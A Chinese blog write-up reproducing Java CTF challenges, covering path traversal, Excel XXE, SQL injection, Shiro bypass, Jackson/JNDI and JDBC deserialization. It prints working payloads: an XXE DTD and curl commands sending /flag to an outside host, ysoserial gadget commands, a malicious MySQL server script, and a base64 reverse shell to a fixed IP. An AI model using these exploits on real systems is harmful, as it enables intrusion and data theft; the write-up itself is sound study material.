大赛上的Java题复现

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发布于：2021年7月3日
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大赛上的Java 题复现

之前没学Java，都是把遇到的Java题直接放掉，现在回头来看看

先把BUU上的Java CTF复现完

网鼎杯2020

青龙组 filejava

考点：文件读取、Excel-XXE

打开发现一个UploadServlet

上传后返回链接/DownloadServlet?filename=3b439bcb-1a40-4617-8b8f-f473968d7d17_1.txt

测试发现目录穿越，可以读取任意文件，此外在/UploadServerlet上传文件名1.txt/../../../../报错，返回了项目路径

image-20210609182445519

根据Servlet项目结构读一下web.xml

/DownloadServlet?filename=/../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

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<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
    </servlet-mapping>
</web-app>

根据配置内容看一下相关Class文件

WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

image-20210609183750104

就是一个文件下载功能，而这里ban掉了flag关键字

然后读一下UploadServlet.class

image-20210609183642050

搜一下可知，这里存在一个excel的CVE（Bind XXE），当我们上传以excel-开头，后缀为xlsx的表格即可触发

新建一个excel-1.xlsx，改为zip，将[Content_Types].xml第一行改为

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<!DOCTYPE exp [<!ENTITY % remote SYSTEM 'http://vps/evil.dtd'>%remote;]><exp/>

在vps放入evil.dtd

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<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:port/?q=%file;'>">
%int;
%send;

vps开启监听,上传excel即可

image-20210609184306905

朱雀组 Think Java

考点：swagger API文档简单使用、SQL注入、fuzz反序列化链

给了附件，里面有部分class文件

test.java

image-20210630154759607

使用了swagger，这是一个开源的API文档工具，详情见 传送门

image-20210630154919637

访问swagger-ui.html 就能获得所有API，那就访问一下题目的

image-20210630155014039

看一下/sqlDict功能，我们能控制dbName参数

image-20210630155327063

跟一下getTableData函数

image-20210630160316777

直接带入了sql语句，存在SQL注入。

但前面还要满足一下jdbc协议的连接不能出错

image-20210630175902993

JDBC的URL也类似http请求中的URL，也可以使用锚点#或者?
如：jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#

构造payload拿到密码

myapp#' union select group_concat(name,0x3a,pwd)from user#

image-20210630181222678

拿去登录

image-20210630035620618

返回了一个ro0AB开头的数据，这是标准的Base64加密后的Java序列化数据开头

如果以aced开头，则是java序列化数据的16进制

拿去/common/user/current

image-20210630182101152

这里就应该就是将序列化后的数据直接反序列化

用yso生成payload

最后测链子测了很久，CC链、Spring1/2等都打不通，看别人WP，ROME能打

有时间一定写个自动fuzz

java -jar yso*-all.jar ROME "curl http://ip:port -d @/flag" |base64

image-20210630184024568

红明谷2021

JavaWeb

考点：Shiro权限绕过、jackson反序列化

打开提示/login，访问后提示/json，再次访问/json后跳转回了/login，还带了一个JSESSIONID=4FA4C85D135CFCC2B62A3CB38AF0DC89;

这场景。。。很像Vulhub中shiro反序列化那个靶场

将Cookie中带一下rememberMe

image-20210630215955477

实锤shiro了

拿shiro反序列化利用工具打了会儿，没打出来

想到访问/json直接跳转回了/login，而Shiro又存在权限绕过，试一下访问/;/json

image-20210630220302211

貌似要post什么东西，没试出来了，去康康其他师傅怎么做的

来自赵师傅的WP

image-20210630224925876

可能是赛后复现的环境问题，同样的输入并没有报jackson错误出来

看一下 jackson反序列化

发现能用logback打，但不是ch.qos.logback.core.db.DriverManagerConnectionSource

ch.qos.logback.core.db.DriverManagerConnectionSource比较鸡肋，只能打使用H2嵌入式数据库的站，场景很少

这里用的是 ch.qos.logback.core.db.JNDIConnectionSource，结合JNDI+RMI来RCE

详见这里

image-20210701005949155

用现成工具 https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI* -C 'curl http://106.15.121.121:1234/ -d @/flag'

使用这个URL

image-20210630211402848

最终payload

["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"rmi://106.15.121.121:1099/n9kwn1"}]

image-20210630211341266

羊城杯2020

a piece of java

考点：Java动态代理、JDBC绕过白名单类限制

反序列化点的发现

给了jar包，解压一下jar xvf web-0.0.1-SNAPSHOT.jar ，然后用IDEA打开

不知道从哪里下手，找了会儿入口文件，来到gdufs.challenge.web.controller.MainController

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package gdufs.challenge.web.controller;

import gdufs.challenge.web.model.Info;
import gdufs.challenge.web.model.UserInfo;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.nibblesec.tools.SerialKiller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class MainController {
    public MainController() {
    }

    @GetMapping({"/index"})
    public String index(@CookieValue(value = "data",required = false) String cookieData) {
        return cookieData != null && !cookieData.equals("") ? "redirect:/hello" : "index";
    }

    @PostMapping({"/index"})
    public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
        UserInfo userinfo = new UserInfo();
        userinfo.setUsername(username);
        userinfo.setPassword(password);
        Cookie cookie = new Cookie("data", this.serialize(userinfo));
        cookie.setMaxAge(2592000);
        response.addCookie(cookie);
        return "redirect:/hello";
    }

    @GetMapping({"/hello"})
    public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
        if (cookieData != null && !cookieData.equals("")) {
            Info info = (Info)this.deserialize(cookieData);
            if (info != null) {
                model.addAttribute("info", info.getAllInfo());
            }

            return "hello";
        } else {
            return "redirect:/index";
        }
    }

    private String serialize(Object obj) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        try {
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(obj);
            oos.close();
        } catch (Exception var4) {
            var4.printStackTrace();
            return null;
        }

        return new String(Base64.getEncoder().encode(baos.toByteArray()));
    }

    private Object deserialize(String base64data) {
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));

        try {
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
            Object obj = ois.readObject();
            ois.close();
            return obj;
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }
    }
}

这里将Cookiedata进行了反序列化

image-20210702175529205

跟一下Cookiedata，可控

image-20210702175727080

再仔细看一下deserialize函数，醒目的readObject

image-20210702175853711

然后就是找链子了，看一下pom.xml

image-20210702180736952

JDK 1.8

在lib里找到了commons-collections-3.2.1.jar

但打了一下CC5却没反应。。。

白名单限制(SerialKiller)

看一下deserialize函数中readObject前的new SerialKiller(bais, "serialkiller.conf");有什么用

image-20210702181052862

支持黑白名单来限制Java反序列化时的数据，en……不就是JEP290的功能吗

找到serialkiller.conf

image-20210702181358841

使用了白名单。

那思路就要转变一下，从白名单类寻找突破口

全局搜索一下 Serializable，看看有什么能用的

image-20210703023206762

先来看看gdufs.challenge.web.invocation.InfoInvocationHandler

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package gdufs.challenge.web.invocation;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class InfoInvocationHandler implements InvocationHandler, Serializable {
    private Info info;

    public InfoInvocationHandler(Info info) {
        this.info = info;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        try {
            return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
        } catch (Exception var5) {
            var5.printStackTrace();
            return null;
        }
    }
}

这里继承了序列化类和反射类

然后是gdufs.challenge.web.model.DatabaseInfo

image-20210703211722182

当host、port、username、password不为null时就会调用this.connect()，跟进一下

image-20210703211838324

就是将成员变量拼接到JDBC URL里，然后发起数据库连接请求，而这里的host、port、username、password等成员变量经过反序列化都可控，故不难得出这里要借助于JDBC反序列化

动态代理+反序列化控制JDBC请求完成JDBC反序列化

走一遍流程

代理对象在执行被代理对象的任何方法前都会执行重写的invoke方法

所以我们将this.info赋值为DatabaseInfo，然后调用它invoke方法，接着就是调用DatabaseInfo的checkAllInfo方法

image-20210703212216183

来到checkAllInfo，设置相关参数为恶意Mysql地址，调用this.connect

image-20210703212437603

请求恶意Mysql地址，返回构造的反序列化数据，触发JDBC反序列化

image-20210703212538305

JDBC反序列化参考 这里

构造Exp如下

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package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.*;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws Exception {
        DatabaseInfo db = new DatabaseInfo();
        db.setHost("106.15.121.121");
        db.setPort("3307");
        db.setUsername("root");
        db.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        ClassLoader classLoader = db.getClass().getClassLoader();
        Class[] interfaces = db.getClass().getInterfaces();
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(db);
        Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(proxy);
        objectOutputStream.flush();
        objectOutputStream.close();

        String s = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.printf(s);
    }
}

直接引入题目源码的jar包不能使用gdufs的类，这里采用方法是新建一个IDEA项目，然后用 JD-GUI 将题目jar转换为 java 文件，复制gdufs目录进入IDEA项目

image-20210703221655218

然后在Project Structure将题目存放依赖jar包的整个目录引入过来即可

恶意Mysql服务器

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# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3307

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

java -jar yso*.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwNi4xNS4xMjEuMTIxLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload

b64内容是反弹shell /bin/bash -i >& /dev/tcp/106.15.121.121/1234 0>&1

不知为何直接写反弹shell的payload不行，需要b64加密

先启动恶意服务器，然后生成payload打过去，即可收到shell

image-20210703221215216

博客内容遵循 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 协议

本文永久链接是：http://pipinstall.cn/2021/07/03/%E5%A4%A7%E8%B5%9B%E4%B8%8A%E7%9A%84Java%E9%A2%98%E5%A4%8D%E7%8E%B0/

更新于：2022年5月9日

Java

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